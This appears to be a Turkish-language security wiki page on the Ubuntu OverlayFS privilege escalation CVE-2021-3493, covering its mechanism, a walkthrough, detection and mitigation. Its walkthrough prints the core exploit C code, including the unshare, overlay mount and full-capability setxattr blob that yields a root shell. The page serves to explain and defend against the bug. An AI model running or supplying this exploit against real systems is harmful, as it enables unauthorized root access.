overlayfs privilege escalation (CVE-2021-3493)¶
Orijinal Ubuntu OverlayFS LPE'si: Ubuntu, unprivileged kullanıcıların bir user namespace içinde overlay mount etmesine izin verdiği için, bir overlay dosyasında
security.capabilityset etmek namespace'ins_user_ns'ine karşı capability check'ini geçer ve sonra doğrudan underlying file'a yazılır; bu da kullanıcının hiç sahip olmadığı init-namespace capability'lerini bahşeder.
Mechanism¶
Neden çalışır
CVE-2021-3493, sonraki overlay capability bug'larının atasıdır ve GameOver(lay)'in erişilebilir olmasının da sebebidir. İki Ubuntu'ya özgü olguya dayanır:
-
Ubuntu, overlayfs'e
FS_USERNS_MOUNTekledi. Upstream Linux, unprivileged bir kullanıcının bir user namespace içinde OverlayFS mount etmesine izin vermez; Ubuntu bunu değiştirdi, böylece unprivileged bir kullanıcıunshare -rUmyapıp tüm (namespace-local) capability'leri elinde tuttuğu bir overlay mount edebilir. -
Capability validation yalnızca ilk xattr write'da yapılıyordu. Bir overlay dosyasında
security.capabilityset etmek,cap_convert_nscapçalıştıranvfs_setxattr'ı çağırır. O fonksiyonns_capable(inode->i_sb->s_user_ns, CAP_SETFCAP)'i check eder. Overlay inode'u içins_user_ns, yeni, unprivileged user namespace'tir — ki caller oradaCAP_SETFCAP'e sahiptir — dolayısıyla check geçer. OverlayFS ardından xattr'ı gerçek underlying file'a (örn. ext4 üzerinde) itmek için ikinci birvfs_setxattryapar. Bug'ın olduğu dönemde o ikinci write, capability'yi underlying filesystem'in init user namespace'ine karşı hiç doğrulamazdı (o ikinci write'ta hiçbir capability check'i yoktu), bu yüzden capability blob'u sanki root set etmiş gibi host tarafındaki bir dosyaya konardı.
Escalation sonrasında trivial'dir: bir binary'ye, diyelim ki full capability (veya
cap_setuid) bahşeden bir security.capability değeri yaz, sonra onu namespace
dışında çalıştır. Underlying file init namespace'te capability'yi gerçekten taşıdığı
için, binary exec'te o capability'leri kazanır ve setuid(0) yapabilir.
Upstream fix, capability validation'ı vfs_setxattr'ın içine taşıdı. Bug'lı kodda
ikinci (underlying filesystem'e giden) write'ta hiçbir validation yoktu; fix bu ikinci
write'a validation ekler ve bu sefer underlying filesystem'in gerçek superblock'unun
(init) user namespace'ine karşı check edilir. Orada unprivileged caller CAP_SETFCAP'ten
yoksundur, dolayısıyla write reddedilir.
GameOver(lay) (CVE-2023-2640 / CVE-2023-32629), Ubuntu'nun özel
__vfs_setxattr_noperm copy-up path'i bu hardening'i hiç miras almadığı için
sonradan yeniden ortaya çıktı.
Walkthrough¶
- Unprivileged user namespace'lerin etkin olduğu, etkilenen bir Ubuntu'yu doğrula
(patch'lenen sürümden önceki bir kernel, kabaca upstream-eşdeğeri
< 5.11):
$ lsb_release -d
Description: Ubuntu 20.04.1 LTS
$ uname -r
5.8.0-43-generic
$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1
- Yayınlanan PoC (örn. inspiringz / blasty
pwnkit-tarzı C) özünde şunu yapar:
/* create new user + mount namespaces; map current uid -> 0 inside */
unshare(CLONE_NEWNS | CLONE_NEWUSER);
write_uid_gid_maps();
/* mount overlay in the namespace */
mount("overlay", "/tmp/merged", "overlay", 0,
"lowerdir=/tmp/lower,upperdir=/tmp/upper,workdir=/tmp/work");
/* drop a copy of ourselves into the merged dir */
copyfile("/proc/self/exe", "/tmp/merged/magic", 0777);
/* the magic capability blob: VFS_CAP_REVISION_2 with all caps set */
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00"
"\xff\xff\xff\xff\x00\x00\x00\x00";
setxattr("/tmp/merged/magic", "security.capability",
cap, sizeof(cap) - 1, 0);
setxattr,cap_convert_nscapcheck'ini geçer (overlay inode'ununs_user_ns'i unprivileged ns'tir) ve host filesystem'indeki upper file'a yazılır. Namespace dışında upper file artık full file capability'leri taşır:
- Artık capability taşıyan binary'yi yeniden exec et; init namespace'teki capability'lerle ayrıcalıkları yükseltir ve bir root shell doğurur:
Blob formatı
Bug'ın özü tam da şudur: vulnerable kodda blob, underlying filesystem'e
namespace-scope'lu (rootid-tagged v3 vfs_ns_cap_data) forma çevrilmeden,
unscoped/host-scope formda push edilir — yani sanki init-namespace root'u set
etmiş gibi konar. Bu conversion/re-validation eksikliği yüzünden unscoped
capability copy-up sırasında reddedilmez; istismar tam da bu eksik dönüşüm ve
validation'dan doğar.
Etkilenen sürümler
Ubuntu'ya özgü (Ubuntu'nun FS_USERNS_MOUNT değişikliğine bağlıdır). Etkilenen
sürümler arasında, düzeltilmiş güncellemelerden önceki kernel'lerle (geniş anlamda
5.11 öncesi sınıf Ubuntu kernel'leri) Ubuntu 20.10, 20.04 LTS, 19.04, 18.04 LTS,
16.04 LTS ve 14.04 ESM bulunur. CISA Known Exploited Vulnerabilities catalog'unda listelenmiştir.
Detection¶
- Unprivileged
unshareile user+mount namespace'e giriş, ardından bir overlaymountvesecurity.capability'nin birsetxattr'ı. - User-writable dizinlerde (overlay
upperdir'lerinde) file capability kazanan dosyalar. - Taze capability-damgalı bir binary'nin non-root bir kullanıcı tarafından çalıştırılması
ve ardından
setuid(0)çağrılması.
Mitigation¶
- Patch'lenmiş Ubuntu kernel'ine güncelle (fix, capability validation'ı
vfs_setxattriçine taşır; böylece underlying write yeniden check edilir). - Unprivileged user namespace'leri devre dışı bırak:
sysctl -w kernel.unprivileged_userns_clone=0. - Güvenilmeyen workload'lar için
mount'u ve unprivilegedunshare(CLONE_NEWUSER)'ı reddeden AppArmor/seccomp profilleri uygula.